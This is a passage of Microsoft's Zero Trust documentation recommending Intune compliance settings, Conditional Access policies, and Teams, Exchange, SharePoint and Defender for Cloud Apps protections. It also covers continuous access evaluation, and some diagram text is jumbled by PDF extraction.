Work profile enhanced security (Level 2)– Microsoft recommends this
configuration as the minimum security configuration for personal devices where
users access work or school data. This configuration introduces password
requirements, separates work and personal data, and validates Android device
attestation.
Work profile high security (Level 3) – Microsoft recommends this configuration
for devices used by specific users or groups who are uniquely high risk (users who
material loss to the organization). This configuration introduces mobile threat
defense or Microsoft Defender for Endpoint, sets the minimum Android version,
enacts stronger password policies, and further restricts work and personal
separation.
Compliance settings for Android Enterprise fully managed devices
Fully managed basic security (Level 1) – Microsoft recommends this configuration

as the minimum security configuration for an enterprise device. This configuration
is applicable to most mobile users accessing work or school data. This
configuration introduces password requirements, sets the minimum Android
version, and enacts certain device restrictions.
Fully managed enhanced security (Level 2) – Microsoft recommends this
This configuration enacts stronger password policies and disables user/account
capabilities.
Fully managed high security (Level 3) - Microsoft recommends this configuration
for devices used by specific users or groups who are uniquely high risk. These
users may handle highly sensitive data where unauthorized disclosure may cause
considerable material loss to the organization. This configuration increases the
minimum Android version, introduces mobile threat defense or Microsoft Defender
for Endpoint, and enforces extra device restrictions.
Recommended compliance settings for Windows 10 and later
The following settings are configured in Step 2: Compliance settings, of the compliance
policy creation process for Windows 10 and newer devices. These settings align with the
principles outlined in Zero Trust identity and device access configurations.
For Device health > Windows Health Attestation Service evaluation rules, see this
table.
ﾉ Expand table
Property Value
Require BitLocker Require
Require Secure Boot to be enabled on the device Require

Property Value
Require code integrity Require
For Device properties, specify appropriate values for operating system versions based
on your IT and security policies.
For Configuration Manager Compliance, if you are in a co-managed environment with

Configuration Manager select Require otherwise select Not configured.
For System security, see this table.
ﾉ Expand table
Property Value
Require a password to unlock mobile devices Require
Simple passwords Block
Password type Device default
Minimum password length 6
Maximum minutes of inactivity before a 15 minutes

password is required
Password expiration (days) 41
Number of previous passwords to prevent 5

reuse
Require password when device returns from Require

idle state (Mobile and Holographic)
Require encryption of data storage on device Require
Firewall Require
Antivirus Require
Antispyware Require
Microsoft Defender Antimalware Require
Microsoft Defender Antimalware minimum Microsoft recommends versions no more than

version five behind from the most recent version.
Microsoft Defender Antimalware signature up Require

to date
Property Value
Real-time protection Require
For Microsoft Defender for Endpoint
ﾉ Expand table
Property Value
Require the device to be at or under the machine-risk score Medium

Once your app protection and device compliance policies are created in Intune, you can
enable enforcement with Conditional Access policies.
Require MFA based on sign-in risk

Follow the guidance in the article Common Conditional Access policy: Sign-in risk-based
multifactor authentication to create a policy to require multifactor authentication based
on sign-in risk.
When configuring your policy, use the following risk levels.
ﾉ Expand table
Level of protection Risk level values needed Action
Starting point High, medium Check both.
Enterprise High, medium, low Check all three.
Block clients that don't support multifactor

authentication
Follow the guidance in the article Common Conditional Access policy: Block legacy
authentication to block legacy authentication.
High risk users must change password

Follow the guidance in the article Common Conditional Access policy: User risk-based
password change to require users with compromised credentials to change their
password.
Use this policy along with Microsoft Entra password protection, which detects and
blocks known weak passwords and their variants in addition to terms specific to your
organization. Using Microsoft Entra password protection ensures that changed
passwords are stronger.
Require approved apps and app protection policies

You must create a Conditional Access policy to enforce the app protection policies
created in Intune. Enforcing app protection policies requires a Conditional Access policy
and a corresponding app protection policy.
To create a Conditional Access policy that requires approved apps and APP protection,
follow the steps in Require approved client apps or app protection policy with mobile
devices. This policy only allows accounts within mobile apps protected by app
protection policies to access Microsoft 365 endpoints.
Blocking legacy authentication for other client apps on iOS and Android devices ensures
that these clients can't bypass Conditional Access policies. If you're following the
guidance in this article, you've already configured Block clients that don't support
modern authentication.
Require compliant PCs and mobile devices

The following steps will help create a Conditional Access policy to require devices
accessing resources be marked as compliant with your organization's Intune compliance
policies.
Ｕ Caution
Make sure that your device is compliant before enabling this policy. Otherwise, you
could get locked out and be unable to change this policy until your user account
has been added to the Conditional Access exclusion group.
1. Sign in to the Azure portal.

2. Browse to Microsoft Entra ID > Security > Conditional Access.
3. Select New policy.
4. Give your policy a name. We recommend that organizations create a meaningful
standard for the names of their policies.
5. Under Assignments, select Users or workload identities.
a. Under Include, select All users.
b. Under Exclude, select Users and groups and choose your organization's
emergency access or break-glass accounts.
6. Under Cloud apps or actions > Include, select All cloud apps.
a. If you must exclude specific applications from your policy, you can choose them
from the Exclude tab under Select excluded cloud apps and choose Select.
7. Under Access controls > Grant.
a. Select Require device to be marked as compliant.
b. Select Select.
8. Confirm your settings and set Enable policy to On.
9. Select Create to create to enable your policy.
７ Note
You can enroll your new devices to Intune even if you select Require device to be
marked as compliant for All users and All cloud apps in your policy. Require
device to be marked as compliant control does not block Intune enrollment and
the access to the Microsoft Intune Web Company Portal application.
Subscription activation
Organizations using the Subscription Activation feature to enable users to "step-up"

from one version of Windows to another, may want to exclude the Universal Store
Service APIs and Web Application, AppID 45a330b1-b1ec-4cc1-9161-9f03992aa49f from
their device compliance policy.
Always require MFA

Follow the guidance in the article Common Conditional Access policy: Require MFA for
all users to require your specialized security level users to always perform multifactor
authentication.
２ Warning
When configuring your policy, select the group that requires specialized security
and use that instead of selecting All users.
Next steps
Learn about policy recommendations for guest and external users
Feedback

Policies for allowing guest access and
B2B external user access
Article • 04/29/2024
This article discusses adjusting the recommended Zero Trust identity and device access
policies to allow access for guests and external users that have a Microsoft Entra
Business-to-Business (B2B) account. This guidance builds on the common identity and
device access policies.
These recommendations are designed to apply to the starting point tier of protection.
But you can also adjust the recommendations based on your specific needs for
enterprise and specialized security protection.
Providing a path for B2B accounts to authenticate with your Microsoft Entra tenant
doesn't give these accounts access to your entire environment. B2B users and their
accounts have access to services and resources, like files, shared with them by
Conditional Access policy.
Updating the common policies to allow and

protect guests and external user access
This diagram shows which policies to add or update among the common identity and
device access policies, for B2B guest and external user access.
Zero Trust identity and device access policies for guest and external users

New policy: Require MFA when Block clients that High risk users must
sign-in risk is medium don’t support change password
Require multifactor or high modern
PCs authentication (MFA) authentication This policy forces users
always for guests Exclude guest and to change their
Starting point and external users external users password when signing
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)
Requires Microsoft 365 E5, Microsoft 365 E3 with the E5


Changes from the common PCs include devices running the Windows or macOS platforms
identity and device access policies Phones and tablets include devices running the iOS, iPadOS, or Android platforms
The following table lists the policies you either need to create and update. The common
policies link to the associated configuration instructions in the Common identity and
device access policies article.
ﾉ Expand table
Protection Policies More information

level
Starting Require MFA always Create this new policy and configure:
point for guests and For Assignments > Users and groups > Include,
external users choose Select users and groups, and then select
All guest and external users.
For Assignments > Conditions > Sign-in risk and
select all Sign-in risk levels.
Require MFA when Modify this policy to exclude guests and external users.
sign-in risk is medium
or high
To include or exclude guests and external users in Conditional Access policies, for
Assignments > Users and groups > Include or Exclude, check All guest and external
users.
More information
Guests and external user access with Microsoft Teams

Microsoft Teams defines the following users:
Guest access uses a Microsoft Entra B2B account that can be added as a member
of a team and have access to the communications and resources of the team.
External access is for an external user that doesn't have a B2B account. External
user access includes invitations, calls, chats, and meetings, but doesn't include
team membership and access to the resources of the team.
For more information, see the comparison between guests and external user access for
teams.
For more information on securing identity and device access policies for Teams, see
Policy recommendations for securing Teams chats, groups, and files.
Require MFA always for guest and external users

This policy prompts guests to register for MFA in your tenant, regardless of whether
they're registered for MFA in their home tenant. Guests and external users accessing
resources in your tenant are required to use MFA for every request.
Excluding guests and external users from risk-based MFA

While organizations can enforce risk-based policies for B2B users using Microsoft Entra
ID Protection, there are limitations in the implementation of Microsoft Entra ID
Protection for B2B collaboration users in a resource directory because their identity
exists in their home directory. Due to these limitations, Microsoft recommends you
exclude guests from risk-based MFA policies and require these users to always use MFA.
For more information, see Limitations of ID Protection for B2B collaboration users.
Excluding guests and external users from device

management
Only one organization can manage a device. If you don't exclude guests and external
users from policies that require device compliance, these policies block these users.
Next step

Configure Conditional Access policies for:
Microsoft Teams
Exchange Online
SharePoint
Feedback

Policy recommendations for securing
Teams chats, groups, and files
Article • 04/29/2024
This article describes how to implement the recommended Zero Trust identity and
device access policies to protect Microsoft Teams chats, groups, and content such as
files and calendars. This guidance builds on the common identity and device access
policies, with additional information that's Teams-specific. Because Teams integrates
with our other products, also see Policy recommendations for securing SharePoint sites
and files and Policy recommendations for securing email.
These recommendations are based on three different tiers of security and protection for
Teams that can be applied based on the granularity of your needs: starting point,
enterprise, and specialized security. You can learn more about these security tiers and
the recommended policies referenced by these recommendations in the Identity and
device access configurations.
More recommendations specific to Teams deployment are included in this article to

cover specific authentication circumstances, including for users outside your
organization. You'll need to follow this guidance for a complete security experience.
Getting started with Teams before other

dependent services
You don't need to enable dependent services to get started with Microsoft Teams. These
services will all "just work." However, you do need to be prepared to manage the
following service-related elements:
Microsoft 365 groups

SharePoint team sites
OneDrive for Business
Exchange mailboxes
Stream videos and Planner plans (if these services are enabled)
Updating common policies to include Teams

To protect chat, groups and content in Teams, the following diagram illustrates which
policies to update from the common identity and device access policies. For each policy
to update, make sure that Teams and dependent services are included in the assignment
of cloud apps.
Zero Trust identity and device access policies for Microsoft Teams


to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)
Changes from the common PCs include devices running the Windows or macOS platforms Requires Microsoft 365 E5, Microsoft 365 E3 with the E5

These services are the dependent services to include in the assignment of cloud apps for
Teams:
Microsoft Teams
SharePoint and OneDrive for Business
Exchange Online
Skype for Business Online
Microsoft Stream (meeting recordings)
Microsoft Planner (Planner tasks and plan data)
This table lists the policies that need to be revisited and links to each policy in the
common identity and device access policies, which has the wider policy set for all Office
applications.
ﾉ Expand table
Protection Policies Further information for Teams implementation

level
Starting Require MFA when Be sure Teams and dependent services are included in
point sign-in risk is medium the list of apps. Teams has Guest Access and External
or high Access rules to consider as well, you'll learn more about
these rules later in this article.
Protection Policies Further information for Teams implementation
level
Block clients that don't Include Teams and dependent services in the
support modern assignment of cloud apps.
authentication
High risk users must Forces Teams users to change their password when
change password signing in if high-risk activity is detected for their
account. Be sure Teams and dependent services are
included in the list of apps.
Apply APP data Be sure Teams and dependent services are included in
protection policies the list of apps. Update the policy for each platform
(iOS, Android, Windows).
Enterprise Require MFA when Teams has Guest Access and External Access rules to
sign-in risk is low, consider as well, you'll learn more about these rules
medium or high later in this article. Include Teams and dependent
services in this policy.
Define device Include Teams and dependent services in this policy.

compliance policies
Require compliant PCs Include Teams and dependent services in this policy.
and mobile devices
Specialized Always require MFA Regardless of user identity, MFA will be used by your
security organization. Include Teams and dependent services in
this policy.
Teams dependent services architecture

For reference, the following diagram illustrates the services Teams relies on. For more
information and illustrations, see Microsoft Teams and related productivity services in
Microsoft 365 for IT architects.

Guest and external access for Teams

Microsoft Teams defines the following access types:
Guest access uses a Microsoft Entra B2B account for a guest or external user that
can be added as a member of a team and have all permissioned access to the
communication and resources of the team.
External access is for an external user that doesn't have a Microsoft Entra B2B
account. External access can include invitations and participation in calls, chats, and
meetings, but doesn't include team membership and access to the resources of the
team.
Conditional Access policies only apply to guest access in Teams because there's a
corresponding Microsoft Entra B2B account.
For recommended policies to allow access for guest and external users with a Microsoft
Entra B2B account, see Policies for allowing guest and external B2B account access.
Guest access in Teams

In addition to the policies for users who are internal to your business or organization,
administrators may enable guest access to allow, on a user-by-user basis, people who
are external to your business or organization to access Teams resources and interact
with internal people for things like group conversations, chat, and meetings.
For more information about guest access and how to implement it, see Teams guest
access.
External access in Teams
External access is sometimes confused with guest access, so it's important to be clear
that these two non-internal access mechanisms are different types of access.
External access is a way for Teams users from an entire external domain to find, call,
chat, and set up meetings with your users in Teams. Teams administrators configure
external access at the organization level. For more information, see Manage external
access in Microsoft Teams.
External access users have less access and functionality than an individual who's been
added via guest access. For example, external access users can chat with your internal
users with Teams but can't access team channels, files, or other resources.
External access doesn't use Microsoft Entra B2B user accounts and therefore doesn't use
Teams policies
Outside of the common policies listed above, there are Teams-specific policies that can
and should be configured to manage various Teams functionalities.
Teams and channels policies

Teams and channels are two commonly used elements in Microsoft Teams, and there are
policies you can put in place to control what users can and can't do when using teams
and channels. While you can create a global team, if your organization has 5000 users or
less, you're likely to find it helpful to have smaller teams and channels for specific
purposes, in-line with your organizational needs.
Changing the default policy or creating custom policies would be recommended, and
you can learn more about managing your policies at this link: Manage teams policies in
Microsoft Teams.
Messaging policies
Messaging, or chat, can also be managed through the default global policy, or through
custom policies, and this can help your users communicate with one another in a way
that's appropriate for your organization. This information can be reviewed at Managing
messaging policies in Teams.
Meeting policies
No discussion of Teams would be complete without planning and implementing policies
around Teams meetings. Meetings are an essential component of Teams, allowing
people to formally meet and present to many users at once, and to share content
relevant to the meeting. Setting the right policies for your organization around meetings
is essential.
For more information, review Manage meeting policies in Teams.
App permission policies

Teams also allows you to use apps in various places, such as channels or personal chats.
Having policies around what apps can be added and used, and where, is essential to
maintaining a content-rich environment that is also secure.
For more reading about App Permission Policies, check out Manage app permission
policies in Microsoft Teams.
Next steps
Exchange Online
SharePoint
Feedback

email
Article • 04/29/2024
device access policies to protect organizational email and email clients that support
modern authentication and conditional access. This guidance builds on the Common
identity and device access policies and also includes a few additional recommendations.
These recommendations are based on three different tiers of security and protection
that can be applied based on the granularity of your needs: starting point, enterprise,
and specialized security. You can learn more about these security tiers and the
recommended client operating systems in the recommended security policies and
configurations introduction.
These recommendations require your users to use modern email clients, including
Outlook for iOS and Android on mobile devices. Outlook for iOS and Android provide
support for the best features of Microsoft 365. These mobile Outlook apps are also
architected with security capabilities that support mobile use and work together with
other Microsoft cloud security capabilities. For more information, see Outlook for iOS
and Android FAQ.
Update common policies to include email

To protect email, the following diagram illustrates which policies to update from the
common identity and device access policies.
Zero Trust identity and device access policies for Exchange

Require multifactor Block clients that New policy: High risk users must
when sign-in risk is modern Block ActiveSync
PCs medium or high authentication clients This policy forces users
to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)


Note the addition of a new policy for Exchange Online to block ActiveSync clients. This
policy forces the use of Outlook for iOS and Android on mobile devices.
If you included Exchange Online and Outlook in the scope of the policies when you set
them up, you only need to create the new policy to block ActiveSync clients. Review the
policies listed in the following table and either make the recommended additions, or
confirm that these settings are already included. Each policy links to the associated
configuration instructions in Common identity and device access policies.
ﾉ Expand table

level
Starting point Require MFA when sign-in Include Exchange Online in the assignment of
risk is medium or high cloud apps
Block clients that don't Include Exchange Online in the assignment of

support modern cloud apps
authentication
Apply APP data protection Be sure Outlook is included in the list of apps. Be
policies sure to update the policy for each platform (iOS,
Android, Windows)
Require approved apps and Include Exchange Online in the list of cloud apps
APP protection
Block ActiveSync clients Add this new policy
Enterprise Require MFA when sign-in Include Exchange Online in the assignment of
level
risk is low, medium or high cloud apps
Require compliant PCs and Include Exchange Online in the list of cloud apps
mobile devices
Specialized Always require MFA Include Exchange Online in the assignment of

security cloud apps
Block ActiveSync clients

Exchange ActiveSync can be used to synchronize messaging and calendaring data on
desktop and mobile devices.
For mobile devices, the following clients are blocked based on the Conditional Access
policy created in Require approved apps and APP protection:
Exchange ActiveSync clients that use basic authentication.

Exchange ActiveSync clients that support modern authentication, but don't support
Intune app protection policies.
Devices that support Intune app protection policies, but aren't defined in the
policy.
To block Exchange ActiveSync connections using basic authentication on other types of

devices (for example, PCs), follow the steps in Block Exchange ActiveSync on all devices.
Limit access to Exchange Online from Outlook

on the web
You can restrict the ability for users to download attachments from Outlook on the web
on unmanaged devices. Users on these devices can view and edit these files using Office
Online without leaking and storing the files on the device. You can also block users from
seeing attachments on an unmanaged device.
Here are the steps:
1. Connect to Exchange Online PowerShell.
2. Every Microsoft 365 organization with Exchange Online mailboxes has a built-in
Outlook on the web (formerly known as Outlook Web App or OWA) mailbox policy
named OwaMailboxPolicy-Default. Admins can also create custom policies.
To see the available Outlook on the web mailbox policies, run the following
command:
PowerShell
Get-OwaMailboxPolicy | Format-Table Name,ConditionalAccessPolicy
3. To allow viewing attachments but no downloading, run the following command on

the affected policies:
PowerShell
Set-OwaMailboxPolicy -Identity "<PolicyName>" -ConditionalAccessPolicy

ReadOnly
For example:
PowerShell
Set-OwaMailboxPolicy -Identity "OwaMailboxPolicy-Default" -

ConditionalAccessPolicy ReadOnly
4. To block attachments, run the following command on the affected policies:
PowerShell
Set-OwaMailboxPolicy -Identity "<PolicyName>" -ConditionalAccessPolicy

ReadOnlyPlusAttachmentsBlocked
For example:
PowerShell
Set-OwaMailboxPolicy -Identity "OwaMailboxPolicy-Default" -

ConditionalAccessPolicy ReadOnlyPlusAttachmentsBlocked
5. In the Azure portal, create a new Conditional Access policy with these settings:
Assignments > Users and groups: Select appropriate users and groups to include
and exclude.
Assignments > Cloud apps or actions > Cloud apps > Include > Select apps:
Select Office 365 Exchange Online.
Access controls > Session: Select Use app enforced restrictions.

Require that iOS and Android devices must use
Outlook
To ensure that iOS and Android devices can access work or school content using
Outlook for iOS and Android only, you need a Conditional Access policy that targets
those potential users.
See the steps to configure this policy in Manage messaging collaboration access by
using Outlook for iOS and Android.
Set up message encryption

With Microsoft Purview Message Encryption, which uses the protection features in Azure
Information Protection, your organization can easily share protected email with anyone
on any device. Users can send and receive protected messages with other Microsoft 365
organizations as well as non-customers using Outlook.com, Gmail, and other email
services.
For more information, see Set up Message Encryption.
Next steps
Microsoft Teams
SharePoint
Feedback

SharePoint sites and files
Article • 04/29/2024
device access policies to protect SharePoint and OneDrive for Business. This guidance
builds on the common identity and device access policies.
These recommendations are based on three different tiers of security and protection for
SharePoint files that can be applied based on the granularity of your needs: starting
point, enterprise, and specialized security. You can learn more about these security
tiers, and the recommended client operating systems, referenced by these
recommendations in the overview.
In addition to implementing this guidance, be sure to configure SharePoint sites with

the right amount of protection, including setting appropriate permissions for enterprise
and specialized security content.
Updating common policies to include

SharePoint and OneDrive for Business
To protect files in SharePoint and OneDrive, the following diagram illustrates which
policies to update from the common identity and device access policies.
Zero Trust identity and device access policies for SharePoint
Device Microsoft Entra Conditional Access Intune device Intune app SharePoint
Protection compliance protection device access
level type policies policy policies policies
Require multifactor Block clients that New policy: High risk users must
when sign-in risk is modern Use app-enforced
PCs medium or high authentication restrictions of This policy forces users
SharePoint to change their
Clients that do not
Require approved use modern This tells Azure to in if high risk activity is Apply Level 2 App
apps authentication can use the settings detected for their Protection Policies
bypass Conditional specified in account. (APP) data protection
tablets mobile app protection Access policies. SharePoint. (one for each
This rule applies to
all users but only
affects access to sites
included in
New access control
Require MFA when Require compliant SharePoint access Define compliance policy:
sign-in risk is low, PCs and mobile policies. policies (one for
Enterprise Allow browser-only
(Recommended for This policy enforces access to specific
Zero Trust) Intune management SharePoint sites from
Require Apply Level 2 APP unmanaged devices
tablets.
New access control

policy:
Block access to
Require MFA always specific SharePoint
Specialized sites from
security for all Office 365 unmanaged devices

users)
Changes from the common
If you included SharePoint when you created the common policies, you only need to
create the new policies. For Conditional Access policies, SharePoint includes OneDrive.
The new policies implement device protection for enterprise and specialized security
content by applying specific access requirements to SharePoint sites that you specify.
The following table lists the policies you either need to review and update or create new
for SharePoint. The common policies link to the associated configuration instructions in
the Common identity and device access policies article.
ﾉ Expand table

level
Starting Require MFA when sign-in risk is Include SharePoint in the assignment of cloud
point medium or high apps.
Block clients that don't support Include SharePoint in the assignment of cloud
modern authentication apps.
Apply APP data protection Be sure all recommended apps are included in
policies the list of apps. Be sure to update the policy
for each platform (iOS, Android, Windows).
Use app enforced restrictions in Add this new policy. This tells Microsoft Entra
SharePoint ID to use the settings specified in SharePoint.
This policy applies to all users, but only affects
access to sites included in SharePoint access
policies.
Enterprise Require MFA when sign-in risk is Include SharePoint in the assignments of cloud
low, medium or high apps.
Require compliant PCs and Include SharePoint in the list of cloud apps.
mobile devices
SharePoint access control policy: This prevents editing and downloading of files.
Allow browser-only access to Use PowerShell to specify sites.
specific SharePoint sites from
unmanaged devices.
Specialized Always require MFA Include SharePoint in the assignment of cloud

security apps.
SharePoint access control policy: Use PowerShell to specify sites.

Block access to specific
SharePoint sites from
unmanaged devices.
Use app-enforced restrictions in SharePoint

If you implement access controls in SharePoint, Conditional Access policies are created
in Microsoft Entra ID to tell Microsoft Entra ID to enforce the policies you configure in
SharePoint. By default, this policy applies to all users, but only affects access to the sites
you specify using PowerShell when you create the access controls in SharePoint. The
policy can also be scoped for specific users, groups, or sites.
To configure this policy see "Block or limit access to specific SharePoint site collections
or OneDrive accounts" in Control access from unmanaged devices.
SharePoint access control policies

Microsoft recommends you protect content in SharePoint sites with enterprise and
specialized security content with device access controls. You do this by creating a policy
that specifies the level of protection and the sites to apply the protection to.
Enterprise sites: Allow browser-only access. This prevents users from editing and
downloading files.
Specialized security sites: Block access from unmanaged devices.
See "Block or limit access to specific SharePoint site collections or OneDrive accounts" in
Control access from unmanaged devices.
How these policies work together

It's important to understand that SharePoint site permissions are typically based on
business need for access to sites. These permissions are managed by site owners and
can be highly dynamic. Using SharePoint device access policies ensures protection to
these sites, regardless of whether users are assigned to a Microsoft Entra group
associated with starting point, enterprise, or specialized security protection.
The following illustration provides an example of how SharePoint device access policies
protect access to sites for a user.
Example of SharePoint Zero Trust identity and device access policies
Protection Device Microsoft Entra Conditional Access SharePoint SharePoint sites for
Resulting access
type device access which James is a
level policies policies member
restrictions
Require multifactor New policy:

Starting point authentication (MFA) Event James can access the
when sign-in risk is Use app-enforced planning site site from his PC.
PC medium or high restrictions of with starting
SharePoint point
protection
This tells Azure to
James use the settings
Unmanaged specified in
phone SharePoint.
This rule applies to

all users but only
affects access to sites
included in New access control
Require MFA when Require compliant SharePoint access policy:
sign-in risk is low, PCs and mobile policies.
Analytics From his unmanaged
medium, or high devices Allow browser-only
Enterprise team site phone, James must use
access to specific with a browser to access the
Intune management SharePoint sites from enterprise site.
Zero Trust)
for PCs, phones, and unmanaged devices protection
tablets.
New access control

policy:
Block access to specific

Require MFA always
SharePoint sites from Trade secrets From his unmanaged
Specialized unmanaged devices site with phone, James cannot
This is also available specialized access the site.
(only if needed for security
Enterprise plans.
specific data sets or protection
users)
PCs include devices running the Windows or macOS platforms Requires Microsoft 365 E5, Microsoft 365 E3 with the

Identity add-on, Office 365 with EMS E5, or March 2024
Phones and tablets include devices running the iOS, iPadOS, or Android platforms individual Microsoft Entra ID P2 licenses
James has starting point Conditional Access policies assigned, but he can be given
access to SharePoint sites with enterprise or specialized security protection.
If James accesses a site he is a member of with enterprise or specialized security

protection using his PC, his access is granted.
If James accesses an enterprise protection site he is a member of using his
unmanaged phone, which is allowed for starting point users, he will receive
browser-only access to the enterprise site due to the device access policy
configured for this site.
If James accesses a specialized security site he is a member of using his
unmanaged phone, he will be blocked due to the access policy configured for this
site. He can only access this site using his managed PC.
Next step
Microsoft Teams
Exchange Online
Feedback

Recommended Microsoft Defender for
Cloud Apps policies for SaaS apps
Article • 04/29/2024
Microsoft Defender for Cloud Apps builds on Microsoft Entra Conditional Access policies
to enable real-time monitoring and control of granular actions with SaaS apps, such as
blocking downloads, uploads, copy and paste, and printing. This feature adds security to
sessions that carry inherent risk, such as when corporate resources are accessed from
unmanaged devices or by guest users.
Defender for Cloud Apps also integrates natively with Microsoft Purview Information
Protection, providing real-time content inspection to find sensitive data based on
sensitive information types and sensitivity labels and to take appropriate action.
This guidance includes recommendations for these scenarios:
Bring SaaS apps into IT management

Tune protection for specific SaaS apps
Configure Microsoft Purview data loss prevention (DLP) to help comply with data
protection regulations
Bring SaaS apps into IT management

The first step in using Defender for Cloud Apps to manage SaaS apps is to discover
these and then add them to your Microsoft Entra tenant. If you need help with
discovery, see Discover and manage SaaS apps in your network. After you've discovered
apps, add these to your Microsoft Entra tenant.
You can begin to manage these by doing the following:
1. First, in Microsoft Entra ID, create a new conditional access policy and configure it
to "Use Conditional Access App Control." This redirects the request to Defender for
Cloud Apps. You can create one policy and add all SaaS apps to this policy.
2. Next, in Defender for Cloud Apps, create session policies. Create one policy for
each control you want to apply.
Permissions to SaaS apps are typically based on business need for access to the app.
These permissions can be highly dynamic. Using Defender for Cloud Apps policies
ensures protection to app data, regardless of whether users are assigned to a Microsoft
Entra group associated with starting point, enterprise, or specialized security protection.
To protect data across your collection of SaaS apps, the following diagram illustrates the
necessary Microsoft Entra Conditional Access policy plus suggested policies you can
create in Defender for Cloud Apps. In this example, the policies created in Defender for
Cloud Apps apply to all SaaS apps you're managing. These are designed to apply
appropriate controls based on whether devices are managed as well as sensitivity labels
that are already applied to files.
Zero Trust identity and device access policies for

Protection Device Microsoft Entra Conditional Defender for Cloud Apps Access
level type Access policies App Control policies
Require multifactor Use Conditional Monitor traffic Add protection to

authentication (MFA) Access App from unmanaged file downloads
when sign-in risk is Control in devices from unmanaged
PCs medium or high Defender for devices
Starting point Cloud Apps
(Specify which
Phones and SaaS apps this
tablets applies to. This
policy tells Azure
AD to forward
requests for these
SaaS apps to
Defender for Block download of
Require MFA when files labeled with
sign-in risk is low, Cloud Apps.)
sensitive or
medium, or high
Enterprise classified from
(Recommended for unmanaged
Zero Trust) Required policy devices (this Example policies
provides browser
only access)
Require MFA always Block download of

Specialized files labeled with
This is also available classified from all
(only if needed for devices (this
Enterprise plans.
specific data sets or provides browser
users) only access)
These policies are applied to users and groups These policies are applied to SaaS apps

March 2024
The following table lists the new conditional access policy you must create in Microsoft
Entra ID.
ﾉ Expand table
Protection Policy More information

level
All protection Use Conditional Access App This configures your IdP (Microsoft Entra
levels Control in Defender for Cloud ID) to work with Defender for Cloud Apps.
Protection Policy More information
level
Apps
This next table lists the example policies illustrated above that you can create to protect
all SaaS apps. Be sure to evaluate your own business, security, and compliance
objectives and then create policies that provide the most appropriate protection for
your environment.
ﾉ Expand table
Protection Policy
level
Starting point Monitor traffic from unmanaged devices

Add protection to file downloads from unmanaged devices
Enterprise Block download of files labeled with sensitive or classified from unmanaged
devices (this provides browser only access)
Specialized Block download of files labeled with classified from all devices (this provides
security browser only access)
For end-to-end instructions for setting up Conditional Access App Control, see Deploy
Conditional Access App Control for featured apps. This article walks you through the
process of creating the necessary conditional access policy in Microsoft Entra ID and
testing your SaaS apps.
For more information, see Protect apps with Microsoft Defender for Cloud Apps
Conditional Access App Control.
Tune protection for specific SaaS apps

You might want to apply additional monitoring and controls to specific SaaS apps in
your environment. Defender for Cloud Apps allows you to accomplish this. For example,
if an app like Box is used heavily in your environment, it makes sense to apply more
controls. Or, if your legal or finance department is using a specific SaaS app for sensitive
business data, you can target extra protection to these apps.
For example, you can protect your Box environment with these types of built-in anomaly
detection policy templates:
Activity from anonymous IP addresses

Activity from infrequent country/region
Activity from suspicious IP addresses
Impossible travel
Activity performed by terminated user (requires Microsoft Entra ID as IdP)
Malware detection
Multiple failed login attempts
Ransomware activity
Risky Oauth App
Unusual file share activity
These are examples. Additional policy templates are added regularly. For examples of
how to apply additional protection to specific apps, see Protecting connected apps.
How Defender for Cloud Apps helps protect your Box environment demonstrates the
types of controls that can help you protect your business data in Box and other apps
with sensitive data.
Configure data loss prevention (DLP) to help

comply with data protection regulations
Defender for Cloud Apps can be a valuable tool for configuring protection for
compliance regulations. In this case, you create specific policies to look for specific data
that a regulation applies to and configure each policy to take appropriate action.
The following illustration and table provide several examples of policies that can be
configured to help comply with the General Data Protection Regulation (GDPR). In these
examples, policies look for specific data. Based on the sensitivity of the data, each policy
is configured to take appropriate action.
Defender for Cloud Apps Conditional Access App Control policies
Protection — Data loss prevention policies
level
Alert when files containing Block downloads of files
this sensitive info type containing this sensitive info
“Credit Card Number” type:
are shared outside the “Credit Card Number”

organization To unmanaged devices
Starting point
Protect downloads of files Block downloads of files Alert when a file with one of
containing this sensitive info containing this sensitive info these labels is uploaded to
type: "Credit card number” type OneDrive for Business or Box:
Enterprise Customer data, Human
(Recommended for to managed devices “Credit card number”
Resources—Salary Data,
Zero Trust) to unmanaged devices Human Resources, Employee
data
Alert when files with this Block downloads of files with

Specialized label this label
security “Highly classified” “Highly classified”
(only if needed for
specific data sets or are downloaded to managed to unmanaged devices
users) devices
These policies are applied to all SaaS apps


March 2024
ﾉ Expand table
Protection Example policies

level
Starting point Alert when files containing this sensitive information type ("Credit Card
Number") are shared outside the organization
Block downloads of files containing this sensitive information type ("Credit card
number") to unmanaged devices
Enterprise Protect downloads of files containing this sensitive information type ("Credit
card number") to managed devices
Block downloads of files containing this sensitive information type ("Credit card
number") to unmanaged devices
Alert when a file with on of these labels is uploaded to OneDrive for Business or
Box (Customer data, Human Resources: Salary Data, Human Resources,
Employee data)
Specialized Alert when files with this label ("Highly classified") are downloaded to managed
security devices
Protection Example policies
level
Block downloads of files with this label ("Highly classified") to unmanaged

devices
Next steps
For more information about using Defender for Cloud Apps, see Microsoft Defender for
Cloud Apps documentation.
Feedback

Continuous access evaluation for
Microsoft 365
Article • 04/22/2024
Modern cloud services that use OAuth 2.0 for authentication traditionally rely on access
token expiration to revoke a user account's access. In practice, this means even if an
administrator revokes a user account's access, the user will still have access until the
access token expires, which for Microsoft 365 by default, used to be up to an hour after
the initial revocation event took place.
Continuous access evaluation for Microsoft 365 and Microsoft Entra ID proactively
terminates active user sessions and enforces tenant policy changes in near real time
instead of relying on access token expiration. Microsoft Entra ID notifies continuous
access evaluation-enabled Microsoft 365 services (such as SharePoint, Teams, and
Exchange) when the user account or tenant has changed in a way that requires
reevaluation of the user account's authentication state.
When a continuous access evaluation-enabled client such as Outlook tries to access

Exchange with an existing access token, the token is rejected by the service, prompting a
new Microsoft Entra authentication. The result is near real time enforcement of user
account and policy changes.
Here are some additional benefits:
For a malicious insider who copies and exports a valid access token outside of your
organization, continuous access evaluation prevents usage of this token through
Microsoft Entra IP address location policy. With continuous access evaluation,
Microsoft Entra ID synchronizes policies down to supported Microsoft 365 services
so when an access token attempts to access the service from outside of the IP
address range in the policy, the service rejects the token.
Continuous access evaluation improves resiliency by requiring less token refreshes.

Because supporting services receive proactive notifications about requiring
reauthentication, Microsoft Entra ID can issue longer-lived tokens, for example,
beyond one hour. With longer-lived tokens, clients don't have to request a token
refresh from Microsoft Entra ID as often, so the user experience is more resilient.
Here are some examples of situations where continuous access evaluation improves
user access control security:
